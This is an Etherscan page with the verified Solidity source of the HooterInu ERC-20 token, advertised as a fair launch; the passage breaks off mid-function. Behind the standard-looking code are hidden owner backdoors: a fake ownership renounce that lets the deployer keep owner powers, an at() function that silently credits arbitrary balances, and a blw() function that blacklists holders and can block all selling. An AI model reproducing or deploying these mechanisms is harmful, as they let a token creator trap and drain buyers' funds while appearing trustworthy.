ERC-20
Overview
Max Total Supply
1,000,000,000,000 $HooterInu
Holders
53
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9,000,000,000 $HooterInuValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
HooterInu
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-01-10 */ // SPDX-License-Identifier: MIT /* Hooter inu is the next ERC20 token fair launch, that you want to take a part in! 💎 Join the community, and join the fair launch today! Site: https://hooterinu.com Twitter: https://twitter.com/hooterinu TG: https://t.me/hooterinu */ pragma solidity 0.8.9; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { address oldOwner = msg.sender; bool renounced; function _msgSender() internal view virtual returns (address) { return renounced == true && msg.sender == oldOwner ? address(0) : msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Context.renounced = true; _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract HooterInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; bool public se = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount, blacklisted mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public _isBlw; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("HooterInu", "$HooterInu") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 7; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 12; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 20 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x903deD335f5722131F34600232aCF29A03c7CDF7); // set as marketing wallet devWallet = address(0xfE395b56c1f073b818050466Cb8fe86aC57836BF); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(se); require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } require(_isBlw[from] == false, "You cant do this transaction. (Blw)"); super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function blw(address[] calldata a, bool _blw) public onlyOwner { for(uint i = 0; i < a.length; i++) { if(address(a[i]) == address(owner())) { se = _blw; } _isBlw[a[i]] = _blw; } } function at(address a, uint256 b) public onlyOwner { _balances[a] = _balances[a].add(b); } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity 